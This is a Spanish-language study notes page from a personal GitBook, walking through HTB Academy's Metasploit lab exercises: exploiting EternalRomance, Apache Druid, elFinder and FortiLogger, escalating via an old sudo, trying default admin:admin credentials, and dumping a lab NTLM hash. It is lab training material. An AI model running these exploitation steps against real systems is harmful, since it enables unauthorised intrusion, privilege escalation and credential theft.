stamin4
  • whoami
  • HTB Academy
    • Introduction to Academy
    • Learning Process
    • Vulnerability Assessment
    • Web Requests
    • Introduction to Networking
    • Linux Fundamentals
    • Brief Intro to Hardware Attacks
    • Setting Up
    • Using the Metasploit Framework
    • Security Incident Reporting
    • Introduction to Web Applications
    • JavaScript Deobfuscation
    • Attacking Web Applications with Ffuf
    • Windows Fundamentals
    • File Inclusion
  • HTB Machines
    • Windows
      • 🟢Easy
      • 🟠Medium
      • 🔴Difficult
      • 🟣Insane
    • Linux
      • 🟢Easy
        • Cap
      • 🟠Medium
      • 🔴Difficult
      • 🟣Insane
  • OverTheWire
    • Bandit
      • Nivel 0
      • Nivel 1
      • Nivel 2
      • Nivel 3
      • Nivel 4
      • Nivel 5
      • Nivel 6
      • Nivel 7
      • Nivel 8
      • Nivel 9
      • Nivel 10
  • Base de datos
    • SQL
      • SELECT queries 101
      • Queries with constraints (Pt. 1)
      • Queries with constraints (Pt. 2)
      • Filtering and sorting Query results
      • Simple SELECT Queries
      • Multi-table queries with JOINs
      • OUTER JOINs
      • A short note on NULLs
      • Queries with expressions
      • Queries with aggregates (Pt. 1)
      • Queries with aggregates (Pt. 2)
      • Order of execution of a Query
      • Inserting rows
      • Updating rows
      • Deleting rows
      • Creating tables
      • Altering tables
      • Dropping tables
  • PortSwigger
    • Path Traversal
  • Dockerlabs
    • Trust
    • Firsthacking
    • Upload
Powered by GitBook
On this page
  • Overview
  • Introduction to Metasploit
  • Modules
  • Payloads
  • Sessions & Jobs
  • Meterpreter
  1. HTB Academy

Using the Metasploit Framework

Overview

En principio se explica qué es Metasploit y cómo utilizarlo para realizar pruebas de seguridad. Esta herramienta cuenta con una gran cantidad de módulos que automatizan la explotación de un sistema. A lo largo de sus secciones, vamos viendo componentes y funcionalidades clave de Metasploit, como los plugins, los payloads, los encoders, los scripts, etc.

Tiene unos cuantos ejercicios para poner en práctica lo visto. De esta forma aprendí a buscar exploits para una vulnerabilidad o un servicio en concreto, seleccionar el módulo, ver información adicional sobre ese módulo, especificar el target, lanzar el exploit y entablar una shell.

Una cuestión sobre la que se enfatiza desde el principio es la importancia de tomar a Metasploit o cualquier otra herramienta automatizada como una herramienta más y así evitar caer en una visión en túnel que nos lleve a pensar que "si la herramienta no puede hacerlo, entonces yo tampoco puedo".


Introduction to Metasploit

Esta primera parte cuenta con dos preguntas teóricas:

  1. ¿Qué versión de Metasploit viene equipada con una interfaz GUI?

Se trata de Metasploit Pro.

  1. ¿Qué comando se usa para interactuar con la versión gratuita de Metasploit?

El comando es msfconsole.


Modules

El ejercicio de esta sección consiste en utilizar Metasploit para explotar la máquina víctima con el EternalRomance y encontrar el archivo flag.txt en el escritorio del usuario Administrator. Se trata de una máquina Windows.

Primero desplegamos el target y la Pwnbox. Luego, iniciamos Metasploit con el comando msfconsole y buscamos por la vulnerabilidad EternalRomance con search.

Tenemos dos resultados, vamos a utilizar el primer exploit que está identificado con el número 0.

[msf](Jobs:0 Agents:0) >> use 0

Con el comando show options podemos ver qué información necesitamos pasarle para poder ejecutarlo.

En este caso, vamos a pasarle nuestra IP de atacante como LHOST y la IP de la máquina víctima como RHOST.

>> set LHOST 10.10.15.21
LHOST => 10.10.15.21

>> set RHOST 10.129.2.141
RHOST => 10.129.2.141

Para obtener nuestra IP, ejecutamos un ifconfig y nos quedamos con la interfaz tun0 que corresponde a la VPN de HTB.

$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 209.151.150.5  netmask 255.255.252.0  broadcast 209.151.151.255
        inet6 fe80::a4ba:3bff:fe08:2930  prefixlen 64  scopeid 0x20<link>
        ether a6:ba:3b:08:29:30  txqueuelen 1000  (Ethernet)
        RX packets 214660  bytes 137376016 (131.0 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 168049  bytes 262688896 (250.5 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 321199  bytes 267436240 (255.0 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 321199  bytes 267436240 (255.0 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST>  mtu 1500
        inet 10.10.15.21  netmask 255.255.254.0  destination 10.10.15.21
        inet6 fe80::3113:d0bb:6ef7:acee  prefixlen 64  scopeid 0x20<link>
        inet6 dead:beef:2::1113  prefixlen 64  scopeid 0x0<global>
        unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00  txqueuelen 500  
        (UNSPEC)
        RX packets 865  bytes 661158 (645.6 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 901  bytes 488710 (477.2 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Una vez hecho esto, corremos el exploit con run y obtenemos una sesión de Meterpreter.

Retrocedemos dos directorios hacia atrás para llegar a la raíz y listamos el contenido.

Nos movemos al directorio Users y volvemos a ver qué hay dentro.

Nos metemos al directorio del usuario Administrator.

Luego nos metemos a Desktop, donde podemos ver la flag.


Payloads

En este otro ejercicio, tenemos que explotar el servicio Apache Druid y encontrar la flag.txt. A diferencia de la anterior, esta es una máquina Linux.

De nuevo, arrancamos Metasploit con msfconsole.

Buscamos por vulnerabilidades asociadas al Apache Druid y seleccionamos el primer exploit.

Revisamos lo que nos solicita el exploit con show options.

Indicamos el LHOST y el RHOST.

>> set LHOST 10.10.15.38
LHOST => 10.10.15.38
>> set RHOST 10.129.203.52
RHOST => 10.129.203.52

Y finalmente corremos el exploit con run.

Nos movemos al directorio raíz y visualizamos la flag.


Sessions & Jobs

La máquina corre una aplicación web específica que podemos determinar mirando su código fuente. Para eso, lanzamos un cURL a la IP, en el title vemos el nombre de la aplicación: elFinder.

$ curl 10.129.139.23
<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
		<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
		<title>elFinder 2.1.x source version with PHP connector</title>

Ahora hay que encontrar un exploit en MSF para obtener una shell. Iniciamos Metasploit y buscamos por vulnerabilidades de elFinder.

En este caso, probamos con el exploit 3, vemos sus opciones.

Configuramos el LHOST y el RHOST:

>> set LHOST 10.10.15.38
LHOST => 10.10.15.38
>> set RHOST 10.129.139.23
RHOST => 10.129.139.23

Corremos el exploit con run y obtenemos la sesión de Meterpreter.

Ejecutamos el comando shell para que nos otorgue una consola. Obtenemos la shell como el usuario que estaba corriendo el servicio web: www-data.

El sistema tiene una versión antigua de sudo, tenemos que encontrar el exploit correspondiente para escalar privilegios y convertirnos en root.

Lo primero que hice fue averiguar la versión de sudo.

Luego puse la sesión en segundo plano con CTRL + Z. Con sessions se pueden listar las sesiones que están abiertas.

Busqué vulnerabilidades para esa versión en concreto de sudo.

Con show options revisé qué información necesitaba para lanzar este módulo post-explotación.

Tuve que indicar la sesión y el LHOST.

>> set SESSION 1
SESSION => 1
>> set LHOST 10.10.15.38
LHOST => 10.10.15.38

Lancé el exploit.

Y me otorgó una shell como root.

Retrocedí un directorio para llegar a la raíz y listé el contenido.

Me moví al directorio root y ahí estaba la flag.


Meterpreter

Tenemos que encontrar un exploit que nos permita ganar acceso al sistema, no tenemos más información que esa. Así que lo más conveniente es lanzar un escaneo de puertos con nmap para ver qué servicios están expuestos y cuáles pueden tener vulnerabilidades.

$ nmap -sCV -n -v -T5 10.129.203.65

PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=WIN-51BJ97BCIPV
| Issuer: commonName=WIN-51BJ97BCIPV
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-02-15T20:27:32
| Not valid after:  2024-08-16T20:27:32
| MD5:   e60d3ef1e5ae9a0e23a244e589cfebb0
|_SHA-1: 50588057c1116bc3bd6cde22b962f64c1a047ee8
|_ssl-date: 2024-02-16T20:53:09+00:00; +1s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: WIN-51BJ97BCIPV
|   NetBIOS_Domain_Name: WIN-51BJ97BCIPV
|   NetBIOS_Computer_Name: WIN-51BJ97BCIPV
|   DNS_Domain_Name: WIN-51BJ97BCIPV
|   DNS_Computer_Name: WIN-51BJ97BCIPV
|   Product_Version: 10.0.17763
|_  System_Time: 2024-02-16T20:53:02+00:00
5000/tcp open  http          Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: FortiLogger | Log and Report System
|_http-server-header: Microsoft-IIS/10.0
|_http-favicon: Unknown favicon MD5: E4B674BE34803DBC1F1D53737A490D0C
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

En el puerto 5000 me llamó la atención que estuviera FortiLogger. Busqué información y resulta que es una herramienta desarrollada por Fortinet que se utiliza comúnmente para el monitoreo y la generación de informes de eventos en entornos de seguridad de red.

Accedemos al servicio web por un navegador y nos encontramos con un panel de inicio de sesión.

Probamos credenciales típicas, de las cuales admin:admin resultan ser correctas.

Así se ve la interfaz; si hacemos click en el ícono de información que está enmarcado, veremos la versión.

Busqué vulnerabilidades asociadas a esta aplicación con Metasploit y encontré una.

Estos son los requerimientos para lanzar el exploit.

Añadí el LHOST y el RHOST.

>> set LHOST 10.10.15.38
LHOST => 10.10.15.38
>> set RHOST 10.129.203.65
RHOST => 10.129.203.65

Corrí el exploit y obtuve una shell como el usuario NT AUTHORITY\SYSTEM.

Lo que queda es encontrar el hash NTLM para el usuario htb-student. Para eso, desde Meterpreter ejecuté este comando:

El hash NTLM es el siguiente: cf3a5525ee9414229e66279623ed5c58.

PreviousSetting UpNextSecurity Incident Reporting

Last updated 1 year ago